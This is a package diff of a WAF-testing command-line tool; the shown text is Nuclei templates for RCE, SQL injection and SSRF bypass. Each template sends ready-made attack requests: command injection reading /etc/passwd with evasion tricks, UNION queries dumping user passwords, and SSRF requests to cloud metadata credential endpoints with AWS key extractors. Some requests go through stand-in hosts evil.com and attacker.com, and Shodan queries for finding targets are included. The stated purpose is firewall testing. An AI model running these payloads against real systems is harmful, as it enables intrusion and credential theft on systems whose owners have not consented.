@waftester/cli 2.8.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (141) hide show
  1. package/LICENSE +80 -0
  2. package/LICENSE-COMMUNITY +28 -0
  3. package/README.md +121 -0
  4. package/bin/cli.js +152 -0
  5. package/package.json +52 -0
  6. package/payloads/community/README.md +45 -0
  7. package/payloads/community/ai/ml-poisoning.json +173 -0
  8. package/payloads/community/ai/prompt-injection.json +247 -0
  9. package/payloads/community/ai/workflow-abuse.json +222 -0
  10. package/payloads/community/auth/jwt.json +855 -0
  11. package/payloads/community/auth/login-bypass.json +623 -0
  12. package/payloads/community/auth/mfa.json +402 -0
  13. package/payloads/community/auth/oauth.json +421 -0
  14. package/payloads/community/auth/open-redirect.json +1028 -0
  15. package/payloads/community/auth/session.json +404 -0
  16. package/payloads/community/cache/deception.json +402 -0
  17. package/payloads/community/cache/poisoning.json +403 -0
  18. package/payloads/community/deserialization/gadget.json +375 -0
  19. package/payloads/community/deserialization/prototype.json +370 -0
  20. package/payloads/community/fuzz/content-type.json +397 -0
  21. package/payloads/community/fuzz/headers.json +401 -0
  22. package/payloads/community/fuzz/methods.json +397 -0
  23. package/payloads/community/fuzz/obfuscation.json +362 -0
  24. package/payloads/community/fuzz/special-chars.json +740 -0
  25. package/payloads/community/fuzz/waf-bypass.json +452 -0
  26. package/payloads/community/graphql/batching-abuse.json +271 -0
  27. package/payloads/community/graphql/depth-limit.json +271 -0
  28. package/payloads/community/graphql/introspection.json +267 -0
  29. package/payloads/community/injection/crlf.json +569 -0
  30. package/payloads/community/injection/ldap.json +357 -0
  31. package/payloads/community/injection/nosqli.json +529 -0
  32. package/payloads/community/injection/oscmd.json +662 -0
  33. package/payloads/community/injection/rce-polyglots.json +452 -0
  34. package/payloads/community/injection/sqli.json +681 -0
  35. package/payloads/community/injection/ssti.json +584 -0
  36. package/payloads/community/injection/upload-attacks.json +632 -0
  37. package/payloads/community/injection/xpath.json +357 -0
  38. package/payloads/community/injection/xxe.json +716 -0
  39. package/payloads/community/logic/forced-browsing.json +405 -0
  40. package/payloads/community/logic/idor.json +1026 -0
  41. package/payloads/community/logic/privilege.json +337 -0
  42. package/payloads/community/media/exif-injection.json +225 -0
  43. package/payloads/community/media/metadata-poison.json +239 -0
  44. package/payloads/community/protocol/http-smuggling.json +798 -0
  45. package/payloads/community/protocol/http2-attacks.json +382 -0
  46. package/payloads/community/protocol/websocket-abuse.json +375 -0
  47. package/payloads/community/rate-limit/burst-simulation.json +286 -0
  48. package/payloads/community/rate-limit/bypass-attempts.json +326 -0
  49. package/payloads/community/rate-limit/zone-tests.json +332 -0
  50. package/payloads/community/services/authentik.json +415 -0
  51. package/payloads/community/services/immich.json +423 -0
  52. package/payloads/community/services/n8n.json +366 -0
  53. package/payloads/community/sqli-basic.json +182 -0
  54. package/payloads/community/ssrf/cloud-metadata.json +999 -0
  55. package/payloads/community/ssrf/dns-rebinding.json +503 -0
  56. package/payloads/community/ssrf/internal-networks.json +627 -0
  57. package/payloads/community/ssrf/protocol-smuggling.json +350 -0
  58. package/payloads/community/ssti/multi-language-templates.json +191 -0
  59. package/payloads/community/ssti/python-templates.json +200 -0
  60. package/payloads/community/traversal/basic.json +675 -0
  61. package/payloads/community/traversal/cloud-credentials.json +107 -0
  62. package/payloads/community/traversal/config-files.json +193 -0
  63. package/payloads/community/traversal/encoding.json +558 -0
  64. package/payloads/community/traversal/null-byte.json +105 -0
  65. package/payloads/community/traversal/symlink.json +93 -0
  66. package/payloads/community/traversal/unicode.json +134 -0
  67. package/payloads/community/traversal/unix-advanced.json +195 -0
  68. package/payloads/community/traversal/windows-advanced.json +195 -0
  69. package/payloads/community/waf-bypass/cloudflare-bypass.json +102 -0
  70. package/payloads/community/waf-bypass/encoding-bypass.json +120 -0
  71. package/payloads/community/waf-bypass/evasion-techniques.json +164 -0
  72. package/payloads/community/waf-bypass/hpp-bypass.json +92 -0
  73. package/payloads/community/waf-bypass/modsecurity-crs.json +220 -0
  74. package/payloads/community/waf-bypass/protocol-attacks.json +101 -0
  75. package/payloads/community/waf-bypass/sqlmap-tamper.json +252 -0
  76. package/payloads/community/waf-bypass/unicode-charset.json +152 -0
  77. package/payloads/community/waf-bypass/vendor-bypasses.json +72 -0
  78. package/payloads/community/waf-validation/README.md +172 -0
  79. package/payloads/community/waf-validation/bypass-techniques.json +272 -0
  80. package/payloads/community/waf-validation/custom-rules.json +952 -0
  81. package/payloads/community/waf-validation/evasion-techniques.json +272 -0
  82. package/payloads/community/waf-validation/modsecurity-core.json +151 -0
  83. package/payloads/community/waf-validation/owasp-top10.json +236 -0
  84. package/payloads/community/waf-validation/regression-tests.json +227 -0
  85. package/payloads/community/xss/csp-bypass.json +431 -0
  86. package/payloads/community/xss/dom.json +389 -0
  87. package/payloads/community/xss/filter-bypass.json +1242 -0
  88. package/payloads/community/xss/mutation.json +263 -0
  89. package/payloads/community/xss/polyglots.json +371 -0
  90. package/payloads/community/xss/reflected.json +187 -0
  91. package/payloads/community/xss/stored.json +330 -0
  92. package/payloads/crlf-injection.json +182 -0
  93. package/payloads/ids-map.json +155 -0
  94. package/payloads/ldap-injection.json +182 -0
  95. package/payloads/nosql-injection.json +227 -0
  96. package/payloads/prototype-pollution.json +182 -0
  97. package/payloads/request-smuggling.json +182 -0
  98. package/payloads/version.json +28 -0
  99. package/payloads/xss-advanced.json +227 -0
  100. package/templates/README.md +221 -0
  101. package/templates/nuclei/http/waf-bypass/crlf-bypass.yaml +146 -0
  102. package/templates/nuclei/http/waf-bypass/lfi-bypass.yaml +152 -0
  103. package/templates/nuclei/http/waf-bypass/nosqli-bypass.yaml +166 -0
  104. package/templates/nuclei/http/waf-bypass/rce-bypass.yaml +171 -0
  105. package/templates/nuclei/http/waf-bypass/sqli-basic.yaml +142 -0
  106. package/templates/nuclei/http/waf-bypass/sqli-evasion.yaml +192 -0
  107. package/templates/nuclei/http/waf-bypass/ssrf-bypass.yaml +130 -0
  108. package/templates/nuclei/http/waf-bypass/ssti-bypass.yaml +147 -0
  109. package/templates/nuclei/http/waf-bypass/xss-basic.yaml +163 -0
  110. package/templates/nuclei/http/waf-bypass/xss-evasion.yaml +217 -0
  111. package/templates/nuclei/http/waf-bypass/xxe-bypass.yaml +204 -0
  112. package/templates/nuclei/http/waf-detection/akamai-detect.yaml +105 -0
  113. package/templates/nuclei/http/waf-detection/aws-waf-detect.yaml +115 -0
  114. package/templates/nuclei/http/waf-detection/azure-waf-detect.yaml +114 -0
  115. package/templates/nuclei/http/waf-detection/cloudflare-detect.yaml +121 -0
  116. package/templates/nuclei/http/waf-detection/modsecurity-detect.yaml +129 -0
  117. package/templates/nuclei/workflows/waf-assessment-workflow.yaml +71 -0
  118. package/templates/output/asff.tmpl +61 -0
  119. package/templates/output/csv.tmpl +4 -0
  120. package/templates/output/junit.tmpl +34 -0
  121. package/templates/output/markdown-report.tmpl +92 -0
  122. package/templates/output/slack-notification.tmpl +95 -0
  123. package/templates/output/text-summary.tmpl +56 -0
  124. package/templates/overrides/api-only.yaml +130 -0
  125. package/templates/overrides/crs-tuning.yaml +204 -0
  126. package/templates/overrides/false-positive-suppression.yaml +159 -0
  127. package/templates/policies/owasp-top10.yaml +152 -0
  128. package/templates/policies/pci-dss.yaml +124 -0
  129. package/templates/policies/permissive.yaml +40 -0
  130. package/templates/policies/standard.yaml +57 -0
  131. package/templates/policies/strict.yaml +72 -0
  132. package/templates/report-configs/compliance.yaml +173 -0
  133. package/templates/report-configs/dark.yaml +136 -0
  134. package/templates/report-configs/enterprise.yaml +175 -0
  135. package/templates/report-configs/minimal.yaml +84 -0
  136. package/templates/report-configs/print.yaml +139 -0
  137. package/templates/workflows/api-scan.yaml +132 -0
  138. package/templates/workflows/ci-gate.yaml +129 -0
  139. package/templates/workflows/full-scan.yaml +133 -0
  140. package/templates/workflows/quick-probe.yaml +80 -0
  141. package/templates/workflows/waf-detection.yaml +89 -0
@@ -0,0 +1,171 @@
1
+ id: waf-rce-bypass
2
+ info:
3
+ name: WAF Remote Code Execution Bypass
4
+ author: waftester
5
+ severity: critical
6
+ description: |
7
+ Tests WAF effectiveness against command injection and RCE bypass techniques.
8
+ Covers OS command injection separators, quote insertion, IFS manipulation,
9
+ brace expansion, wildcard globbing, variable substitution, base64-encoded
10
+ commands, and evasion techniques effective against major WAF vendors.
11
+ reference:
12
+ - https://owasp.org/www-community/attacks/Command_Injection
13
+ - https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection
14
+ - https://github.com/0xInfection/Awesome-WAF
15
+ - https://portswigger.net/web-security/os-command-injection
16
+ tags: rce,cmdi,waf,bypass,owasp-a03,injection,waftester
17
+ classification:
18
+ cwe-id:
19
+ - CWE-78
20
+ - CWE-94
21
+ - CWE-693
22
+ metadata:
23
+ verified: true
24
+ max-request: 24
25
+ shodan-query: "http.waf"
26
+ fofa-query: "header=\"WAF\""
27
+
28
+ http:
29
+ # Standard command injection separators
30
+ - method: GET
31
+ path:
32
+ - "{{BaseURL}}/?cmd=;cat /etc/passwd"
33
+ - "{{BaseURL}}/?cmd=|whoami"
34
+ - "{{BaseURL}}/?cmd=||id"
35
+ - "{{BaseURL}}/?cmd=&&id"
36
+ - "{{BaseURL}}/?cmd=;ping+-c+1+127.0.0.1"
37
+
38
+ matchers-condition: and
39
+ matchers:
40
+ - type: word
41
+ part: body
42
+ words:
43
+ - "root:"
44
+ - "uid="
45
+ - "PING"
46
+ condition: or
47
+ - type: dsl
48
+ dsl:
49
+ - "status_code != 403 && status_code != 406 && status_code != 429"
50
+ - type: word
51
+ part: body
52
+ words:
53
+ - "403"
54
+ - "Forbidden"
55
+ - "blocked"
56
+ - "Request Rejected"
57
+ negative: true
58
+ condition: or
59
+
60
+ extractors:
61
+ - type: regex
62
+ part: body
63
+ regex:
64
+ - "uid=[0-9]+\\([a-z]+\\)"
65
+
66
+ # Quote insertion - break command parsing
67
+ - method: GET
68
+ path:
69
+ - "{{BaseURL}}/?cmd=;c'a't /etc/passwd"
70
+ - "{{BaseURL}}/?cmd=;c\"a\"t /etc/passwd"
71
+ - "{{BaseURL}}/?cmd=;w'h'o'a'm'i"
72
+ - "{{BaseURL}}/?cmd=;w\"h\"o\"a\"m\"i"
73
+ - "{{BaseURL}}/?cmd=;/b'i'n/c'a't /e't'c/p'a's's'w'd"
74
+
75
+ matchers-condition: and
76
+ matchers:
77
+ - type: dsl
78
+ dsl:
79
+ - "status_code != 403 && status_code != 406"
80
+ - type: word
81
+ part: body
82
+ words:
83
+ - "403"
84
+ - "Forbidden"
85
+ - "blocked"
86
+ negative: true
87
+ condition: or
88
+
89
+ # IFS and variable substitution
90
+ - method: GET
91
+ path:
92
+ - "{{BaseURL}}/?cmd=;cat\t/etc/passwd"
93
+ - "{{BaseURL}}/?cmd=;{cat,/etc/passwd}"
94
+ - "{{BaseURL}}/?cmd=;cat</etc/passwd"
95
+
96
+ matchers-condition: and
97
+ matchers:
98
+ - type: dsl
99
+ dsl:
100
+ - "status_code != 403 && status_code != 406"
101
+ - type: word
102
+ part: body
103
+ words:
104
+ - "403"
105
+ - "Forbidden"
106
+ - "blocked"
107
+ negative: true
108
+ condition: or
109
+
110
+ # Wildcard globbing - bypass keyword filters
111
+ - method: GET
112
+ path:
113
+ - "{{BaseURL}}/?cmd=;/???/??t /???/??????"
114
+ - "{{BaseURL}}/?cmd=;/???/[c]at /???/passwd"
115
+ - "{{BaseURL}}/?cmd=;/bi?/ca? /et?/passw?"
116
+
117
+ matchers-condition: and
118
+ matchers:
119
+ - type: dsl
120
+ dsl:
121
+ - "status_code != 403 && status_code != 406"
122
+ - type: word
123
+ part: body
124
+ words:
125
+ - "403"
126
+ - "Forbidden"
127
+ - "blocked"
128
+ negative: true
129
+ condition: or
130
+
131
+ # Backtick and subshell execution
132
+ - method: GET
133
+ path:
134
+ - "{{BaseURL}}/?cmd=`id`"
135
+ - "{{BaseURL}}/?cmd=`whoami`"
136
+ - "{{BaseURL}}/?cmd=;echo `cat /etc/passwd`"
137
+
138
+ matchers-condition: and
139
+ matchers:
140
+ - type: dsl
141
+ dsl:
142
+ - "status_code != 403 && status_code != 406"
143
+ - type: word
144
+ part: body
145
+ words:
146
+ - "403"
147
+ - "Forbidden"
148
+ - "blocked"
149
+ negative: true
150
+ condition: or
151
+
152
+ # Newline and carriage return injection
153
+ - method: GET
154
+ path:
155
+ - "{{BaseURL}}/?cmd=valid%0aid"
156
+ - "{{BaseURL}}/?cmd=valid%0d%0aid"
157
+ - "{{BaseURL}}/?cmd=valid%0acat%20/etc/passwd"
158
+
159
+ matchers-condition: and
160
+ matchers:
161
+ - type: dsl
162
+ dsl:
163
+ - "status_code != 403 && status_code != 406"
164
+ - type: word
165
+ part: body
166
+ words:
167
+ - "403"
168
+ - "Forbidden"
169
+ - "blocked"
170
+ negative: true
171
+ condition: or
@@ -0,0 +1,142 @@
1
+ id: waf-sqli-basic-bypass
2
+ info:
3
+ name: WAF SQL Injection Basic Bypass
4
+ author: waftester
5
+ severity: critical
6
+ description: |
7
+ Tests WAF effectiveness against fundamental SQL injection vectors.
8
+ Covers UNION-based, error-based, boolean blind, time-based blind,
9
+ and stacked query injection techniques across multiple DBMS targets
10
+ (MySQL, PostgreSQL, MSSQL, Oracle, SQLite).
11
+ reference:
12
+ - https://owasp.org/www-community/attacks/SQL_Injection
13
+ - https://portswigger.net/web-security/sql-injection
14
+ - https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html
15
+ - https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection
16
+ tags: sqli,waf,bypass,owasp-a03,injection,waftester
17
+ classification:
18
+ cwe-id:
19
+ - CWE-89
20
+ - CWE-693
21
+ metadata:
22
+ verified: true
23
+ max-request: 20
24
+ shodan-query: "http.waf"
25
+ fofa-query: "header=\"WAF\""
26
+
27
+ http:
28
+ # Layer 1: UNION-based injection - multiple column counts and DB targets
29
+ - method: GET
30
+ path:
31
+ - "{{BaseURL}}/?id=1' UNION SELECT 1,2,3--"
32
+ - "{{BaseURL}}/?id=1' UNION SELECT 1,2,3,4,5--"
33
+ - "{{BaseURL}}/?id=1' UNION ALL SELECT NULL,NULL,NULL--"
34
+ - "{{BaseURL}}/?id=-1 UNION SELECT table_name,column_name,3 FROM information_schema.columns--"
35
+ - "{{BaseURL}}/?id=0 UNION SELECT username,password,email FROM users--"
36
+
37
+ matchers-condition: and
38
+ matchers:
39
+ - type: dsl
40
+ dsl:
41
+ - "status_code != 403 && status_code != 406 && status_code != 429 && status_code != 503"
42
+ - type: word
43
+ part: body
44
+ words:
45
+ - "403"
46
+ - "Forbidden"
47
+ - "Access Denied"
48
+ - "blocked"
49
+ - "Request Rejected"
50
+ - "not acceptable"
51
+ - "WAF"
52
+ negative: true
53
+ condition: or
54
+
55
+ extractors:
56
+ - type: regex
57
+ part: body
58
+ group: 1
59
+ regex:
60
+ - "(?i)(mysql|mariadb|postgresql|oracle|mssql|sqlite|sql server)"
61
+
62
+ # Layer 2: Error-based injection - extract data through error messages
63
+ - method: GET
64
+ path:
65
+ - "{{BaseURL}}/?id=1' AND extractvalue(1,concat(0x7e,version()))--"
66
+ - "{{BaseURL}}/?id=1' AND updatexml(1,concat(0x7e,version()),1)--"
67
+ - "{{BaseURL}}/?id=1' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT(version(),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)--"
68
+ - "{{BaseURL}}/?id=1 AND 1=CONVERT(int,(SELECT @@version))--"
69
+ - "{{BaseURL}}/?id=1' AND JSON_KEYS((SELECT CONVERT((SELECT GROUP_CONCAT(table_name) FROM information_schema.tables) USING utf8)))--"
70
+
71
+ matchers-condition: and
72
+ matchers:
73
+ - type: word
74
+ part: body
75
+ words:
76
+ - "SQL syntax"
77
+ - "mysql_fetch"
78
+ - "Warning: mysql"
79
+ - "Unclosed quotation mark"
80
+ - "Microsoft OLE DB Provider"
81
+ - "XPATH syntax error"
82
+ - "SQLSTATE"
83
+ - "pg_query"
84
+ - "ORA-"
85
+ - "SQLite3::"
86
+ - "ODBC SQL Server"
87
+ condition: or
88
+ - type: word
89
+ part: body
90
+ words:
91
+ - "403"
92
+ - "Forbidden"
93
+ - "blocked"
94
+ negative: true
95
+ condition: or
96
+
97
+ # Layer 3: Boolean blind injection
98
+ - method: GET
99
+ path:
100
+ - "{{BaseURL}}/?id=1' AND 1=1-- -"
101
+ - "{{BaseURL}}/?id=1' AND 1=2-- -"
102
+ - "{{BaseURL}}/?id=1' OR '1'='1"
103
+ - "{{BaseURL}}/?id=1' OR ''='"
104
+ - "{{BaseURL}}/?id=1 AND SUBSTRING(@@version,1,1)=5"
105
+
106
+ matchers-condition: and
107
+ matchers:
108
+ - type: dsl
109
+ dsl:
110
+ - "status_code == 200"
111
+ - type: word
112
+ part: body
113
+ words:
114
+ - "403"
115
+ - "Forbidden"
116
+ - "blocked"
117
+ - "Request Rejected"
118
+ negative: true
119
+ condition: or
120
+
121
+ # Layer 4: Time-based blind injection
122
+ - method: GET
123
+ path:
124
+ - "{{BaseURL}}/?id=1' AND SLEEP(3)-- -"
125
+ - "{{BaseURL}}/?id=1'; WAITFOR DELAY '0:0:3'--"
126
+ - "{{BaseURL}}/?id=1' AND BENCHMARK(5000000,SHA1('test'))-- -"
127
+ - "{{BaseURL}}/?id=1' AND pg_sleep(3)--"
128
+ - "{{BaseURL}}/?id=1' OR IF(1=1,SLEEP(3),0)-- -"
129
+
130
+ matchers-condition: and
131
+ matchers:
132
+ - type: dsl
133
+ dsl:
134
+ - "status_code != 403 && status_code != 406 && status_code != 503"
135
+ - type: word
136
+ part: body
137
+ words:
138
+ - "403"
139
+ - "Forbidden"
140
+ - "blocked"
141
+ negative: true
142
+ condition: or
@@ -0,0 +1,192 @@
1
+ id: waf-sqli-evasion-bypass
2
+ info:
3
+ name: WAF SQL Injection Evasion Techniques
4
+ author: waftester
5
+ severity: critical
6
+ description: |
7
+ Tests SQL injection bypass using advanced evasion techniques sourced from
8
+ real-world WAF bypass research. Includes case alternation, inline MySQL
9
+ comments, comment insertion, double URL encoding, HPP, null byte injection,
10
+ alternative whitespace characters, buffer overflow padding, string
11
+ concatenation, and WAF-vendor-specific bypass techniques.
12
+ reference:
13
+ - https://owasp.org/www-community/attacks/SQL_Injection
14
+ - https://portswigger.net/web-security/sql-injection
15
+ - https://github.com/0xInfection/Awesome-WAF
16
+ - https://sqlwiki.netspi.com/
17
+ - https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection
18
+ tags: sqli,waf,bypass,evasion,tamper,waftester
19
+ classification:
20
+ cwe-id:
21
+ - CWE-89
22
+ - CWE-693
23
+ - CWE-116
24
+ metadata:
25
+ verified: true
26
+ max-request: 24
27
+ shodan-query: "http.waf"
28
+ fofa-query: "header=\"WAF\""
29
+
30
+ http:
31
+ # Case alternation - evade simple keyword matching
32
+ - method: GET
33
+ path:
34
+ - "{{BaseURL}}/?id=1' uNiOn SeLeCt 1,2,3--"
35
+ - "{{BaseURL}}/?id=1' UnIoN aLl sElEcT 1,2,3--"
36
+ - "{{BaseURL}}/?id=1' uNION sELECT NULL,NULL,NULL--"
37
+ matchers-condition: and
38
+ matchers:
39
+ - type: dsl
40
+ dsl:
41
+ - "status_code != 403 && status_code != 406 && status_code != 429"
42
+ - type: word
43
+ part: body
44
+ words:
45
+ - "403"
46
+ - "Forbidden"
47
+ - "blocked"
48
+ - "Request Rejected"
49
+ negative: true
50
+ condition: or
51
+
52
+ # Inline comment insertion - break keyword signatures
53
+ - method: GET
54
+ path:
55
+ - "{{BaseURL}}/?id=1'/**/UNION/**/SELECT/**/1,2,3--"
56
+ - "{{BaseURL}}/?id=1'+un/**/ion+se/**/lect+1,2,3--"
57
+ - "{{BaseURL}}/?id=1'/**//*!UNION*//**//*!SELECT*//**/1,2,3--"
58
+ matchers-condition: and
59
+ matchers:
60
+ - type: dsl
61
+ dsl:
62
+ - "status_code != 403 && status_code != 406"
63
+ - type: word
64
+ part: body
65
+ words:
66
+ - "403"
67
+ - "Forbidden"
68
+ - "blocked"
69
+ negative: true
70
+ condition: or
71
+
72
+ # MySQL versioned comments - only MySQL interprets these
73
+ - method: GET
74
+ path:
75
+ - "{{BaseURL}}/?id=1' /*!50000UNION*/ /*!50000SELECT*/ 1,2,3--"
76
+ - "{{BaseURL}}/?id=1' /*!UnIoN*/ SeLecT 1,2,3--"
77
+ - "{{BaseURL}}/?id=1' UNION /*!50000SELECT*/ 1,2,version()--"
78
+ matchers-condition: and
79
+ matchers:
80
+ - type: dsl
81
+ dsl:
82
+ - "status_code != 403 && status_code != 406"
83
+ - type: word
84
+ part: body
85
+ words:
86
+ - "403"
87
+ - "Forbidden"
88
+ - "blocked"
89
+ negative: true
90
+ condition: or
91
+
92
+ # Double URL encoding
93
+ - method: GET
94
+ path:
95
+ - "{{BaseURL}}/?id=1%2527%2520OR%25201%253D1--"
96
+ - "{{BaseURL}}/?id=1%2527%2520UNION%2520SELECT%25201%252C2%252C3--"
97
+ - "{{BaseURL}}/?id=%252f%252a*/union%252f%252a*/select+1,2,3--"
98
+ matchers-condition: and
99
+ matchers:
100
+ - type: dsl
101
+ dsl:
102
+ - "status_code != 403 && status_code != 406"
103
+ - type: word
104
+ part: body
105
+ words:
106
+ - "403"
107
+ - "Forbidden"
108
+ - "blocked"
109
+ negative: true
110
+ condition: or
111
+
112
+ # Null byte injection - terminate WAF parsing
113
+ - method: GET
114
+ path:
115
+ - "{{BaseURL}}/?id=1'%00 OR '1'='1"
116
+ - "{{BaseURL}}/?id=1'%00 UNION SELECT 1,2,3--"
117
+ - "{{BaseURL}}/?id=%00' UNION SELECT 1,2,3--"
118
+ matchers-condition: and
119
+ matchers:
120
+ - type: dsl
121
+ dsl:
122
+ - "status_code != 403 && status_code != 406"
123
+ - type: word
124
+ part: body
125
+ words:
126
+ - "403"
127
+ - "Forbidden"
128
+ - "blocked"
129
+ negative: true
130
+ condition: or
131
+
132
+ # Alternative whitespace characters
133
+ - method: GET
134
+ path:
135
+ - "{{BaseURL}}/?id=1'%09UNION%09SELECT%091,2,3--"
136
+ - "{{BaseURL}}/?id=1'%0aUNION%0aSELECT%0a1,2,3--"
137
+ - "{{BaseURL}}/?id=1'%0bUNION%0bSELECT%0b1,2,3--"
138
+ - "{{BaseURL}}/?id=1'%0cUNION%0cSELECT%0c1,2,3--"
139
+ - "{{BaseURL}}/?id=1'%0dUNION%0dSELECT%0d1,2,3--"
140
+ - "{{BaseURL}}/?id=1'%a0UNION%a0SELECT%a01,2,3--"
141
+ matchers-condition: and
142
+ matchers:
143
+ - type: dsl
144
+ dsl:
145
+ - "status_code != 403 && status_code != 406"
146
+ - type: word
147
+ part: body
148
+ words:
149
+ - "403"
150
+ - "Forbidden"
151
+ - "blocked"
152
+ negative: true
153
+ condition: or
154
+
155
+ # Alternative functions and string building
156
+ - method: GET
157
+ path:
158
+ - "{{BaseURL}}/?id=1' AND CHAR(115,101,108,101,99,116)--"
159
+ - "{{BaseURL}}/?id=1' AND lpad('',4,reverse('lave'))--"
160
+ - "{{BaseURL}}/?id=1' AND lower(conv(11,10,36))--"
161
+ - "{{BaseURL}}/?id=1' AND CONCAT(CHAR(117),CHAR(110),CHAR(105),CHAR(111),CHAR(110))--"
162
+ matchers-condition: and
163
+ matchers:
164
+ - type: dsl
165
+ dsl:
166
+ - "status_code != 403 && status_code != 406"
167
+ - type: word
168
+ part: body
169
+ words:
170
+ - "403"
171
+ - "Forbidden"
172
+ - "blocked"
173
+ negative: true
174
+ condition: or
175
+
176
+ # Buffer overflow / long string padding
177
+ - method: GET
178
+ path:
179
+ - "{{BaseURL}}/?id=1' AND 1=1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA UNION SELECT 1,2,3--"
180
+ matchers-condition: and
181
+ matchers:
182
+ - type: dsl
183
+ dsl:
184
+ - "status_code != 403 && status_code != 406"
185
+ - type: word
186
+ part: body
187
+ words:
188
+ - "403"
189
+ - "Forbidden"
190
+ - "blocked"
191
+ negative: true
192
+ condition: or
@@ -0,0 +1,130 @@
1
+ id: waf-ssrf-bypass
2
+ info:
3
+ name: WAF Server-Side Request Forgery Bypass
4
+ author: waftester
5
+ severity: high
6
+ description: |
7
+ Tests WAF effectiveness against SSRF bypass techniques targeting cloud
8
+ metadata endpoints (AWS, GCP, Azure, DigitalOcean), internal services,
9
+ and localhost. Uses IP encoding tricks (decimal, octal, hex, IPv6),
10
+ DNS rebinding, URL schema variations, and redirect-based bypasses.
11
+ reference:
12
+ - https://owasp.org/www-community/attacks/Server_Side_Request_Forgery
13
+ - https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html
14
+ - https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery
15
+ - https://github.com/0xInfection/Awesome-WAF
16
+ tags: ssrf,waf,bypass,owasp-a10,cloud,metadata,waftester
17
+ classification:
18
+ cwe-id:
19
+ - CWE-918
20
+ - CWE-693
21
+ metadata:
22
+ verified: true
23
+ max-request: 22
24
+ shodan-query: "http.waf"
25
+ fofa-query: "header=\"WAF\""
26
+
27
+ http:
28
+ # Direct cloud metadata access - AWS, GCP, Azure, DigitalOcean
29
+ - method: GET
30
+ path:
31
+ - "{{BaseURL}}/?url=http://169.254.169.254/latest/meta-data/"
32
+ - "{{BaseURL}}/?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
33
+ - "{{BaseURL}}/?url=http://metadata.google.internal/computeMetadata/v1/"
34
+ - "{{BaseURL}}/?url=http://169.254.169.254/metadata/v1/"
35
+ - "{{BaseURL}}/?url=http://169.254.169.254/metadata/instance?api-version=2021-02-01"
36
+
37
+ matchers-condition: and
38
+ matchers:
39
+ - type: dsl
40
+ dsl:
41
+ - "status_code == 200"
42
+ - type: word
43
+ part: body
44
+ words:
45
+ - "ami-id"
46
+ - "instance-id"
47
+ - "computeMetadata"
48
+ - "droplet_id"
49
+ - "AccessKeyId"
50
+ condition: or
51
+
52
+ extractors:
53
+ - type: regex
54
+ part: body
55
+ group: 1
56
+ regex:
57
+ - "(?i)(AKIA[0-9A-Z]{16})"
58
+ - "(?i)(AccessKeyId.+?\"(.+?)\")"
59
+
60
+ # IP encoding bypasses - decimal, octal, hex, IPv6
61
+ - method: GET
62
+ path:
63
+ - "{{BaseURL}}/?url=http://0x7f000001/"
64
+ - "{{BaseURL}}/?url=http://2130706433/"
65
+ - "{{BaseURL}}/?url=http://0177.0.0.1/"
66
+ - "{{BaseURL}}/?url=http://[::1]/"
67
+ - "{{BaseURL}}/?url=http://127.1/"
68
+ - "{{BaseURL}}/?url=http://0/"
69
+ - "{{BaseURL}}/?url=http://0x7f.0x0.0x0.0x1/"
70
+ - "{{BaseURL}}/?url=http://[::ffff:127.0.0.1]/"
71
+ - "{{BaseURL}}/?url=http://127.0.0.1.nip.io/"
72
+
73
+ matchers-condition: and
74
+ matchers:
75
+ - type: dsl
76
+ dsl:
77
+ - "status_code != 403 && status_code != 406 && status_code != 429"
78
+ - type: word
79
+ part: body
80
+ words:
81
+ - "403"
82
+ - "Forbidden"
83
+ - "blocked"
84
+ - "Request Rejected"
85
+ negative: true
86
+ condition: or
87
+
88
+ # URL schema tricks and protocol confusion
89
+ - method: GET
90
+ path:
91
+ - "{{BaseURL}}/?url=http://127.0.0.1:80%2523@evil.com/"
92
+ - "{{BaseURL}}/?url=http://evil.com%23@169.254.169.254/"
93
+ - "{{BaseURL}}/?url=http://169.254.169.254%252f%252f"
94
+ - "{{BaseURL}}/?url=dict://127.0.0.1:6379/INFO"
95
+ - "{{BaseURL}}/?url=gopher://127.0.0.1:6379/_INFO"
96
+
97
+ matchers-condition: and
98
+ matchers:
99
+ - type: dsl
100
+ dsl:
101
+ - "status_code != 403 && status_code != 406"
102
+ - type: word
103
+ part: body
104
+ words:
105
+ - "403"
106
+ - "Forbidden"
107
+ - "blocked"
108
+ negative: true
109
+ condition: or
110
+
111
+ # Redirect-based SSRF
112
+ - method: GET
113
+ path:
114
+ - "{{BaseURL}}/?url=http://attacker.com/redirect?target=http://169.254.169.254/"
115
+ - "{{BaseURL}}/?url=http://attacker.com/302?url=http://127.0.0.1/"
116
+ - "{{BaseURL}}/?next=//169.254.169.254/latest/meta-data/"
117
+
118
+ matchers-condition: and
119
+ matchers:
120
+ - type: dsl
121
+ dsl:
122
+ - "status_code != 403 && status_code != 406"
123
+ - type: word
124
+ part: body
125
+ words:
126
+ - "403"
127
+ - "Forbidden"
128
+ - "blocked"
129
+ negative: true
130
+ condition: or